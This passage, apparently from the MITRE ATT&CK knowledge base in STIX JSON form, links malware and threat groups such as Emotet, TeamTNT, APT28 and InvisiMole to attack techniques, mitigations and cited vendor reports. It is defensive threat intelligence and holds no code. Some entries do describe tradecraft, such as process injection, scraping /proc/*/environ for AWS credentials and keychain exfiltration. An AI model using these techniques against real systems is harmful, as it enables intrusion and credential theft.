15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-05-04T14:24:55.163Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has the ability to deploy modules directly from command and control (C2) servers, possibly for remote command execution, file exfiltration, and socks5 proxying on the infected host. (Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9092578b-593b-4a4b-ba3f-2bfeed172567","created":"2024-02-21T19:33:13.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T21:05:45.421Z","description":"(Citation: Arctic Wolf Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9094f15c-c60c-4366-8c1b-22f21e1156b8","created":"2022-08-18T18:41:10.279Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used file-sharing services including WeTransfer, TransferNow, and OneDrive to deliver payloads.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-18T18:41:10.279Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90974f03-7f61-479e-bceb-6f26872d4812","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-23T16:40:20.061Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can function as a proxy to create a server that relays communication between the client and C&C server, or between two clients.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--909b065a-d857-48dc-9d6b-f7847bf613e6","created":"2022-03-15T20:08:18.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.414Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has divided files if the size is 0x1000000 bytes or more.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--909db543-0968-4f02-b1d9-de64c0730c0a","type":"relationship","created":"2020-11-06T18:40:38.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-11-06T18:40:38.307Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can determine if the user on an infected machine is in the admin or domain admin group.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90a11110-2124-4d1f-92b7-1d5525e3ba8d","type":"relationship","created":"2020-10-20T15:42:48.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T15:45:02.096Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90a7c108-ea5d-4274-a406-4494de107435","created":"2024-04-08T19:11:36.343Z","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2018","description":"Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved January 6, 2021.","url":"https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-08T19:11:36.343Z","description":"(Citation: FireEye TRITON 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90ad45d7-1980-4909-97f2-3c5a10a47deb","type":"relationship","created":"2020-02-05T19:34:05.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-09T15:58:04.947Z","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented. ","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90ae4d92-9278-4cdd-a71c-b217a8bbb86a","type":"relationship","created":"2021-06-10T15:41:34.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:41:34.691Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to use multiple dynamically resolved API calls.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90b7c9e6-53db-4656-a5ee-f8056a8d6ef7","type":"relationship","created":"2019-03-29T13:56:52.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Banking Malware Jan 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/","description":"Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."},{"description":"Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.","url":"https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/","source_name":"Carbon Black Emotet Apr 2019"}],"modified":"2020-03-17T13:31:00.679Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious link delivered through spearphishing.(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Carbon Black Emotet Apr 2019)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90b8dc08-3d90-4430-be9f-ba4f1e9c0976","created":"2024-09-16T09:14:47.931Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:14:47.931Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used tools such as SQLULDR2 and PINEGROVE to gather local system and database information.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90b9f240-cd40-488a-9bbc-bb0c5db07365","type":"relationship","created":"2019-02-12T18:47:45.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2019-09-04T23:04:50.193Z","description":"The [Exaramel for Windows](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV.”(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90bb9179-c20a-4223-a177-731f015052aa","type":"relationship","created":"2021-07-27T14:18:49.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:17.975Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a variety of utilities, including WinRAR, to archive collected data with password protection.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90bd9900-a78f-47da-9504-393e8ece3fac","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-30T02:18:19.130Z","description":"[iKitten](https://attack.mitre.org/software/S0278) will zip up the /Library/Keychains directory before exfiltrating it.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90be71e4-6b38-4411-aac5-09711a334393","type":"relationship","created":"2019-06-04T14:17:34.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","source_name":"Securelist ScarCruft May 2019"},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2022-03-30T20:40:22.209Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) has the ability to gather a list of files and directories on the infected system.(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90c3e922-1a21-4dc1-ad89-a72e013b5977","created":"2022-10-05T16:32:30.339Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:32:30.339Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has encrypted its C2 communications with AES.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90c8ecca-41d2-4a28-84fe-b76c1d969363","created":"2021-01-20T18:23:31.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.424Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used compromised domain accounts to gain access to the target environment.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90ca7f0e-f0fd-47d5-9d40-8ae6d77c0897","type":"relationship","created":"2020-09-29T15:45:28.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"PWC WellMess C2 August 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html","description":"PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-10-09T15:31:13.893Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can encrypt HTTP POST data using RC6 and a dynamically generated AES key encrypted with a hard coded RSA public key.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90cb412d-399d-4009-8aa0-63f411eb34ff","created":"2022-08-10T20:34:52.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.712Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used a script that checks `/proc/*/environ` for environment variables related to AWS.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90ce2bf5-4fef-4d9d-b670-2a5ae8b7ba4d","type":"relationship","created":"2019-07-09T17:42:44.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.356Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has the ability to take screenshots.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90d0d818-4a80-459c-9d57-ca9221eae57b","created":"2022-05-31T19:34:41.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-16T17:19:42.972Z","description":"Review MFA actions alongside authentication logs to ensure that MFA-based logins are functioning as intended. Review user accounts to ensure that all accounts have MFA enabled.(Citation: Mandiant Cloudy Logs 2023)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90d8b716-a9b3-483a-b16b-fac062cbc6b0","type":"relationship","created":"2020-01-30T17:37:22.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Azure AD Admin Consent","url":"https://docs.microsoft.com/en-us/azure/security/fundamentals/steps-secure-identity#block-end-user-consent","description":"Baldwin, M., Flores, J., Kess, B.. (2018, June 17). Five steps to securing your identity infrastructure. Retrieved October 4, 2019."}],"modified":"2022-04-01T12:57:33.947Z","description":"Update corporate policies to restrict what types of third-party applications may be added to any online service or tool that is linked to the company's information, accounts or network (e.g., Google, Microsoft, Dropbox, Basecamp, GitHub). However, rather than providing high-level guidance on this, be extremely specific—include a list of per-approved applications and deny all others not on the list. Administrators may also block end-user consent through administrative portals, such as the Azure Portal, disabling users from authorizing third-party apps through OAuth and forcing administrative consent.(Citation: Microsoft Azure AD Admin Consent)","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--90e38408-0754-45aa-a406-c3753ce10199","created":"2022-04-11T18:58:18.810Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor debugger logs for signs of abnormal and potentially malicious activity.","modified":"2022-04-11T18:58:18.810Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Sowbug Nov 2017","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"}],"modified":"2020-03-18T16:01:37.948Z","description":"[Starloader](https://attack.mitre.org/software/S0188) has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"malware--96566860-9f11-4b6f-964d-1c924e4f24a4","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90e6cb2a-55c4-4533-bbdc-b8eed2132344","created":"2023-02-14T18:38:52.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:30:08.184Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can inject code into a targeted process by writing to the remote memory of an infected system and then create a remote thread.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90eb6858-e561-4ed0-855b-f9afbe3ac394","type":"relationship","created":"2020-07-16T15:24:32.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-17T20:14:44.600Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can inject itself into another process to avoid detection including use of a technique called ListPlanting that customizes the sorting algorithm in a ListView structure.(Citation: ESET InvisiMole June 